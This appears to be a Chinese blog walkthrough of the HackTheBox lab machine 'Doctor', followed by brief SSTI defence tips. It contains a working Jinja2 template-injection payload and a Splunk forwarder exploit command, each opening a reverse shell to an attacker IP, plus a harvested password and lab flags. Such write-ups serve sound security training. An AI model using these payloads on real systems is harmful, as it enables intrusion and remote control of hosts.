[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升

信息收集

IP AddressOpening Ports
10.10.10.209TCP:22,80,8089

$ nmap -p- 10.10.10.209 --min-rate 1000 -sC -sV

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Doctor
|_http-server-header: Apache/2.4.41 (Ubuntu)
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
|_http-server-header: Splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSTI

image.png

# echo '10.10.10.209 doctors.htb'>>/etc/hosts

$ whatweb http://doctors.htb/login -v

image-1.png

http://doctors.htb/register

image-3.png

http://doctors.htb/login

image-4.png

http://doctors.htb/post/new

image-5.png

image-6.png

${7*7}

image-8.png

http://doctors.htb/archive

image-9.png

image-10.png

{{8*8}}

image-11.png

{{9*'9'}}

image-12.png

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in
x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c
'bash -i >& /dev/tcp/10.10.16.6/10032 0>&1'").read()}}{%endif%}{%endfor%}

image-13.png

http://doctors.htb/archive

image-14.png

User 权限

$ grep -R -e 'password' /var/log/ 2>/dev/null

image-15.png

username:shaun
password:Guitar123

$ su shaun

image-16.png

User.txt

89d2e206dac3a780e4859ba394f419b5

权限提升

$ ps -aux | grep splunk

image-17.png

$ git clone https://github.com/cnotin/SplunkWhisperer2

$ cd SplunkWhisperer2/PySplunkWhisperer2

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.2 --payload id

image-18.png

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload id

image-19.png

$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 10033 >/tmp/f'

image-20.png

Root.txt

2f93ef26f3fd15a56c09311850459979

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PythonSSTI(Server-Side Template Injection)是一种安全漏洞,攻击者可以通过注入恶意代码来执行任意命令或访问敏感数据。为了防御SSTI攻击,可以采取以下措施: 1. 输入验证和过滤:在接收用户输入时,对输入进行严格的验证和过滤,确保只接受预期的数据类型和格式。可以使用正则表达式或其他验证方法来限制输入内容。 2. 模板引擎配置:使用安全的模板引擎,并且在配置时启用严格的沙盒模式。沙盒模式可以限制模板中可执行的操作和访问的变量,防止恶意代码执行和敏感数据访问。 3. 模板上下文的净化:在将用户输入传递给模板引擎进行渲染之前,对输入进行净化或转义。这可以确保输入中的任何特殊字符都被正确处理,而不是被解释为模板语法。 4. 使用安全的模板标签和过滤器:确保只使用具有良好安全记录的模板标签和过滤器。避免使用不安全、未经充分验证的自定义标签和过滤器,以减少SSTI风险。 5. 最小化模板引擎的功能:仅开启必需的模板引擎功能,禁用不必要的功能和扩展。这样可以减少潜在的攻击面和安全漏洞。 6. 定期更新和升级:及时更新和升级使用的模板引擎和相关依赖库,以获得最新的安全修复和功能增强。 以上措施并不能完全消除SSTI攻击的风险,因此在开发和部署过程中,还应该进行安全审计和漏洞扫描,及时修复潜在的安全问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值